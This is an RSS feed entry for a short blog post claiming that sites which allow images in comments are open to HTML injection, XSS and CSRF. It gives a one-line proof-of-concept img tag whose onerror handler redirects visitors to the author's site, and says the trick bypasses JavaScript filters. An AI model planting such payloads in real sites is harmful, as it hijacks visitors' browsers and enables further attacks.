		<guid isPermaLink="false">http://zoiz.web.id/tips/massive-html-injection-vulnerability.html</guid>
		<description><![CDATA[This could become a massive vulnerability since many sites or blogs out there allow user to post image on their article&#8217;s comment. As my small research, I found out that we could launch a HTML Injection, XSS and even CSRF attack to sites that vulnerable to this. Here is the PoC : &#60;img src=&#8221;http://zoiz.web.id/fotoku.jpg&#8221; width=&#8221;10&#8243; [...]]]></description>
			<content:encoded><![CDATA[<p>This could become a massive vulnerability since many sites or blogs out there allow user to post image on their article&#8217;s comment. As my small research, I found out that we could launch a <a href="http://zoiz.web.id/category/xss-corner">HTML Injection</a>, <a href="http://zoiz.web.id/category/xss-corner">XSS</a> and even <a href="http://zoiz.web.id/category/csrf">CSRF</a> attack to sites that vulnerable to this. Here is the PoC :</p>
<p><span id="more-81"></span></p>
<p>&lt;img src=&#8221;http://zoiz.web.id/fotoku.jpg&#8221; width=&#8221;10&#8243; height=&#8221;10&#8243; onerror=&#8221;window.location.href=&#8217;http:/zoiz.web.id&#8217;;&#8221;&gt;</p>
<p>The method is the same as <a href="http://zoiz.web.id/tips/creating-a-good-pop-up.html">my Pop Up Method</a>, it triggered javascript inside image error handler hence it bypasses javascript filter. This apply to sites that allow users to post image on their comments.</p>
<p>By : <a href="http://zoiz.web.id/">Zoiz [at] http://zoiz.web.id</a><br />
<a href="http://zoiz.web.id/">Nothing is Secure </a></p>
]]></content:encoded>
			<wfw:commentRss>http://zoiz.web.id/tips/massive-html-injection-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
	</channel>
</rss>
